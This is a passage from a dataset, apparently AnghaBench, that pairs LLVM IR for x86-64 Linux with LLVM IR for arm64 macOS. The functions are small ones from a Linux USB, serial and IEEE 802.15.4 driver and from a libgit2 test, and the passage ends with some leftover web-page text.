%67 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef nonnull %1, i32 noundef 0) #2
br label %68
68: ; preds = %62, %57, %46, %39, %27
ret void
}
declare i32 @mutex_lock(ptr noundef) local_unnamed_addr #1
declare i32 @dev_err(ptr noundef, ptr noundef, ...) local_unnamed_addr #1
declare i32 @mutex_unlock(ptr noundef) local_unnamed_addr #1
declare i32 @u132_hcd_forget_urb(ptr noundef, ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @u132_hcd_giveback_urb(ptr noundef, ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 16}
!7 = !{!"u132_endp", !8, i64 0, !8, i64 8, !11, i64 16}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!13, !11, i64 16}
!13 = !{!"u132", !14, i64 0, !14, i64 4, !11, i64 8, !11, i64 16, !11, i64 24}
!14 = !{!"int", !9, i64 0}
!15 = !{!7, !8, i64 0}
!16 = !{!17, !8, i64 0}
!17 = !{!"TYPE_3__", !8, i64 0}
!18 = !{!13, !11, i64 24}
!19 = !{!13, !14, i64 0}
!20 = !{!13, !11, i64 8}
!21 = !{!14, !14, i64 0}
!22 = !{!7, !8, i64 8}
!23 = !{!24, !14, i64 0}
!24 = !{!"urb", !14, i64 0}
!25 = !{!26, !8, i64 0}
!26 = !{!"u132_udev", !8, i64 0}
| fastsocket_kernel_drivers_usb_host_extr_u132-hcd.c_u132_hcd_enumeration_empty_recv |
; ModuleID = 'AnghaBench/libgit2/tests/core/extr_dirent.c_check_counts.c'
source_filename = "AnghaBench/libgit2/tests/core/extr_dirent.c_check_counts.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_5__ = type { i32, i64 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @check_counts], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @check_counts(ptr nocapture noundef readonly %0) #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !5
%3 = getelementptr inbounds %struct.TYPE_5__, ptr %2, i64 0, i32 1
%4 = load i64, ptr %3, align 8, !tbaa !10
%5 = icmp eq i64 %4, 0
br i1 %5, label %16, label %6
6: ; preds = %1, %6
%7 = phi ptr [ %12, %6 ], [ %2, %1 ]
%8 = load i32, ptr %7, align 8, !tbaa !14
%9 = icmp eq i32 %8, 1
%10 = zext i1 %9 to i32
%11 = tail call i32 @cl_assert(i32 noundef %10) #2
%12 = getelementptr inbounds %struct.TYPE_5__, ptr %7, i64 1
%13 = getelementptr inbounds %struct.TYPE_5__, ptr %7, i64 1, i32 1
%14 = load i64, ptr %13, align 8, !tbaa !10
%15 = icmp eq i64 %14, 0
br i1 %15, label %16, label %6, !llvm.loop !15
16: ; preds = %6, %1
ret void
}
declare i32 @cl_assert(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_4__", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !13, i64 8}
!11 = !{!"TYPE_5__", !12, i64 0, !13, i64 8}
!12 = !{!"int", !8, i64 0}
!13 = !{!"long", !8, i64 0}
!14 = !{!11, !12, i64 0}
!15 = distinct !{!15, !16}
!16 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/libgit2/tests/core/extr_dirent.c_check_counts.c'
source_filename = "AnghaBench/libgit2/tests/core/extr_dirent.c_check_counts.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @check_counts], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @check_counts(ptr nocapture noundef readonly %0) #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !6
%3 = getelementptr inbounds i8, ptr %2, i64 8
%4 = load i64, ptr %3, align 8, !tbaa !11
%5 = icmp eq i64 %4, 0
br i1 %5, label %16, label %6
6: ; preds = %1, %6
%7 = phi ptr [ %12, %6 ], [ %2, %1 ]
%8 = load i32, ptr %7, align 8, !tbaa !15
%9 = icmp eq i32 %8, 1
%10 = zext i1 %9 to i32
%11 = tail call i32 @cl_assert(i32 noundef %10) #2
%12 = getelementptr inbounds i8, ptr %7, i64 16
%13 = getelementptr inbounds i8, ptr %7, i64 24
%14 = load i64, ptr %13, align 8, !tbaa !11
%15 = icmp eq i64 %14, 0
br i1 %15, label %16, label %6, !llvm.loop !16
16: ; preds = %6, %1
ret void
}
declare i32 @cl_assert(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_4__", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !14, i64 8}
!12 = !{!"TYPE_5__", !13, i64 0, !14, i64 8}
!13 = !{!"int", !9, i64 0}
!14 = !{!"long", !9, i64 0}
!15 = !{!12, !13, i64 0}
!16 = distinct !{!16, !17}
!17 = !{!"llvm.loop.mustprogress"}
| libgit2_tests_core_extr_dirent.c_check_counts |
; ModuleID = 'AnghaBench/linux/drivers/net/ieee802154/extr_ca8210.c_ca8210_dev_com_clear.c'
source_filename = "AnghaBench/linux/drivers/net/ieee802154/extr_ca8210.c_ca8210_dev_com_clear.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.ca8210_priv = type { i32, i32 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @ca8210_dev_com_clear], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @ca8210_dev_com_clear(ptr nocapture noundef readonly %0) #0 {
%2 = getelementptr inbounds %struct.ca8210_priv, ptr %0, i64 0, i32 1
%3 = load i32, ptr %2, align 4, !tbaa !5
%4 = tail call i32 @flush_workqueue(i32 noundef %3) #2
%5 = load i32, ptr %2, align 4, !tbaa !5
%6 = tail call i32 @destroy_workqueue(i32 noundef %5) #2
%7 = load i32, ptr %0, align 4, !tbaa !10
%8 = tail call i32 @flush_workqueue(i32 noundef %7) #2
%9 = load i32, ptr %0, align 4, !tbaa !10
%10 = tail call i32 @destroy_workqueue(i32 noundef %9) #2
ret void
}
declare i32 @flush_workqueue(i32 noundef) local_unnamed_addr #1
declare i32 @destroy_workqueue(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 4}
!6 = !{!"ca8210_priv", !7, i64 0, !7, i64 4}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/net/ieee802154/extr_ca8210.c_ca8210_dev_com_clear.c'
source_filename = "AnghaBench/linux/drivers/net/ieee802154/extr_ca8210.c_ca8210_dev_com_clear.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @ca8210_dev_com_clear], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @ca8210_dev_com_clear(ptr nocapture noundef readonly %0) #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 4
%3 = load i32, ptr %2, align 4, !tbaa !6
%4 = tail call i32 @flush_workqueue(i32 noundef %3) #2
%5 = load i32, ptr %2, align 4, !tbaa !6
%6 = tail call i32 @destroy_workqueue(i32 noundef %5) #2
%7 = load i32, ptr %0, align 4, !tbaa !11
%8 = tail call i32 @flush_workqueue(i32 noundef %7) #2
%9 = load i32, ptr %0, align 4, !tbaa !11
%10 = tail call i32 @destroy_workqueue(i32 noundef %9) #2
ret void
}
declare i32 @flush_workqueue(i32 noundef) local_unnamed_addr #1
declare i32 @destroy_workqueue(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 4}
!7 = !{!"ca8210_priv", !8, i64 0, !8, i64 4}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 0}
| linux_drivers_net_ieee802154_extr_ca8210.c_ca8210_dev_com_clear |
; ModuleID = 'AnghaBench/linux/drivers/tty/serial/8250/extr_8250.h_serial_dl_read.c'
source_filename = "AnghaBench/linux/drivers/tty/serial/8250/extr_8250.h_serial_dl_read.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @serial_dl_read], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal i32 @serial_dl_read(ptr noundef %0) #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !5
%3 = tail call i32 %2(ptr noundef nonnull %0) #1
ret i32 %3
}
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"uart_8250_port", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/linux/drivers/tty/serial/8250/extr_8250.h_serial_dl_read.c'
source_filename = "AnghaBench/linux/drivers/tty/serial/8250/extr_8250.h_serial_dl_read.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @serial_dl_read], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal i32 @serial_dl_read(ptr noundef %0) #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !6
%3 = tail call i32 %2(ptr noundef nonnull %0) #1
ret i32 %3
}
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"uart_8250_port", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
| linux_drivers_tty_serial_8250_extr_8250.h_serial_dl_read |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.